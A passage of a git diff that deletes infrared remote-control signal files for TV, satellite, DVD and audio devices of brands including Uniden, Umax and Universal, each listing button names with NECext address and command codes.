00 00 -command: 17 00 00 00 -# -name: AVSrc -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 18 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 60 01 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir deleted file mode 100644 index bdb150609..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 22 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 24 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 25 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2A 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2B 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 31 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir deleted file mode 100644 index 8d2b700a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 27 00 00 00 -command: 21 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 27 00 00 00 -command: CB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir deleted file mode 100644 index e125b3d7e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: MUSIC/ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: DAY_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir deleted file mode 100644 index f4f167f49..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0B 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 0E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 11 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 12 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 13 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 16 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 17 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 19 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1B 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1C 00 00 00 -# -name: TV-RADIO -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1D 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1E 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 40 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 41 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 42 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 43 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 44 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 45 00 00 00 -# -name: SCHED -type: parsed -protocol: NECext -address: 02 02 00 00 -command: 46 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir deleted file mode 100644 index 44d3137ae..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: pro-logic -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 01 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 04 00 00 00 -# -name: surround-spsetup -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 06 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 07 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 09 00 00 00 -# -name: KEY_MAX -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 0A 00 00 00 -# -name: balance -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 0B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 0C 00 00 00 -# -name: coaxial2 -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 0D 00 00 00 -# -name: night -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 10 00 00 00 -# -name: center_deytime -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 11 00 00 00 -# -name: test -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 13 00 00 00 -# -name: KEY_2ch-out -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 16 00 00 00 -# -name: spk-status -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 17 00 00 00 -# -name: front_deytime -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 19 00 00 00 -# -name: woofer -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 1A 00 00 00 -# -name: surround_deytime -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 1B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 1C 00 00 00 -# -name: optical -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 1D 00 00 00 -# -name: standard -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 1E 00 00 00 -# -name: coaxial1 -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 1F 00 00 00 -# -name: front_spsetup -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 54 00 00 00 -# -name: center-spsetup -type: parsed -protocol: NECext -address: 00 F0 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir deleted file mode 100644 index ce14f6b1c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKEW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: 3-F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: 2-T -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: 1-G -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: POLARITY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: WEST -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: EAST -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: MESSAGE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: 0-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2C 00 00 00 -# -name: 9-K -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: 8-R -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: 7-S -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: TI/BW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: C/KU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: 6-C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: 5-W -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: 4-D -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: SAT/TV -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir deleted file mode 100644 index b6506eb61..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: enterplay -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: frev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: vmode -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: a-brpt -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: sfwd -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: pal_ntsc -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: dsp -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: srev -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: equ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir deleted file mode 100644 index e13b87ef7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 09 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0A 00 00 00 -# -name: Ent -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_0Plus -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 17 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 